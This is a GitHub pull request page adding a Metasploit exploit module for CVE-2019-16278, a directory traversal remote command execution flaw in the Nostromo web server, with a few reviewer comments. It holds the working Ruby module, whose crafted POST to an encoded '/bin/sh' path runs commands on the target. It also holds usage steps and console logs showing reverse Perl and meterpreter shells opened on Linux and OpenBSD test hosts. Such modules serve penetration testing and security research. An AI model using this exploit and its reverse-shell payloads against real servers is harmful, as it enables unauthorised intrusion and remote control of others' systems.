Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit for CVE-2019-16278 (Nostromo RCE) #12476

Merged
merged 12 commits into from Oct 31, 2019
@@ -0,0 +1,93 @@
## Vulnerable Application

Verified against:

* Nostromo 1.9.6 on Linux

Nostrom sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html
This conversation was marked as resolved by QKaiser

This comment has been minimized.

Copy link
@space-r7

space-r7 Oct 30, 2019

Contributor
Suggested change
Nostrom sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html
Nostromo sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/nostromo_code_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `check`
7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
8. Do: `set lhost <ip>`
9. Do: `exploit`
10. You should get a shell.

## Scenarios

Example utilizing nostromo 1.9.6 on Ubuntu Linux.

```
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8000
RPORT => 8000
msf5 exploit(multi/http/nostromo_code_exec) > check
[*] 192.168.1.9:8000 - The target appears to be vulnerable.
msf5 exploit(multi/http/nostromo_code_exec) > set target 1
target => 1
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x86/meterpreter/reverse_tcp command stager
[*] Sending stage (985320 bytes) to 192.168.1.9
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.9:52544) at 2019-10-29 16:08:18 +0100
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : nostromo.local
OS : Ubuntu 18.04 (Linux 4.15.0-62-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.9 - Meterpreter session 2 closed. Reason: User exit
```

nostromo 1.9.6 on OpenBSD.

```
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8001
RPORT => 8001
msf5 exploit(multi/http/nostromo_code_exec) > check
[*] 192.168.1.9:8001 - The target appears to be vulnerable.
msf5 exploit(multi/http/nostromo_code_exec) > set target 0
target => 0
msf5 exploit(multi/http/nostromo_code_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.9:52312) at 2019-10-29 15:48:28 +0100
id
uid=536(_nostromo) gid=536(_nostromo) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
uname -avr
OpenBSD nostromo.local 6.4 GENERIC#349 amd64
^C
Abort session 1? [y/N] y
[*] 192.168.1.9 - Command shell session 1 closed. Reason: User exit
```
@@ -0,0 +1,129 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Nostromo Directory Traversal Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Nostromo <= 1.9.6. This issue is caused by a directory traversal
in the function `http_verify` in nostromo nhttpd allowing an attacker
to achieve remote code execution via a crafted HTTP request.
},
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # metasploit module
'sp0re', # original public exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-16278'],
],
'Platform' => ['linux', 'unix'], # OpenBSD, FreeBSD, NetBSD, and Linux
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
'Targets' =>
[
['Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
}
],
['Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
}
]
],
'DisclosureDate' => 'Oct 20 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
}
)

unless res
vprint_error("Connection failed")
return CheckCode::Unknown
end

if res.code == 200 and res.headers['Server'] =~ /nostromo [\d.]{5}/
/nostromo (?<version>[\d.]{5})/ =~ res.headers['Server']
if Gem::Version.new(version) <= Gem::Version.new('1.9.6')
return CheckCode::Appears
end
end

return CheckCode::Safe
end

def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
'headers' => {'Content-Length:' => '1'},
'data' => "echo\necho\n#{cmd} 2>&1"
}
)
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
This conversation was marked as resolved by QKaiser

This comment has been minimized.

Copy link
@space-r7

space-r7 Oct 30, 2019

Contributor

Looking through the module options shows that ForceExploit isn't defined for the user. Please add that with register_advanced_options().

This comment has been minimized.

Copy link
@QKaiser

QKaiser Oct 31, 2019

Author Contributor

Fixed in ca81793

fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.